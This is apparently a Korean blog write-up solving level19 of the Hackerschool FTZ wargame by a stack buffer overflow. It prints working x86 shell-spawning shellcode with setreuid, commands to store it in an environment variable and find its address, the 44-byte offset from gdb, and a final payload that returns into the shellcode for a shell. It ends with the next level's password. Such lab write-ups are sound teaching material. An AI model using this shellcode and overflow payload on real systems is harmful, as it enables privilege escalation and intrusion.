마지막에서 두번째 단계 level19 를 풀어보자.
로그인을 하고, 파일 목록을 확인하고, 힌트를 확인하자.
이번 코드는 좀 간단해보인다.
setreuid 도 /bin/sh 도 없으니 쉘코드를 이용해야겠다.
지금까지 사용했던 25바이트 쉘코드(\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80)
는 setreuid 가 포함되어 있지 않은 코드다.
그렇다면 setreuid가 포함되어있는 41바이트 쉘코드를 사용하자.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이 쉘코드를 환경변수에 적용시키고 그 주소를 알아낸다. 아래의 명령어들을 순서대로 입력한다.
1. $export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
2. $echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
3. $gcc getenv.c -o getenv
4. $./getenv
쉘코드의 주소는 0xbffffc76 이다.
이제 buf ~ ret 사이의 거리를 알아보기 위해 gdb를 사용한다.
main+9 에서 buf ~ ret 사이의 거리를 구할 수 있다.
buf ~ ebp 거리 = 40
buf ~ ret 거리 = 40 + 4 = 44
이제 44바이트를 채우고 나머지를 0xbffffc76 로 덮어 씌우는 페이로드를 작성하면 아래와 같다.
(python -c 'print "\x90"*44+"\x76\xfc\xff\xbf"'; cat) | ./attackme
이 페이로드를 실행하면??
짜잔
level20 암호 : we are just regular guys
'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level20 (0) | 2020.03.12 |
---|---|
[해커스쿨 FTZ] level18 (0) | 2020.03.12 |
[해커스쿨 FTZ] level17 (0) | 2020.03.12 |
[해커스쿨 FTZ] level16 (0) | 2020.03.12 |
[해커스쿨 FTZ] level15 (0) | 2020.03.12 |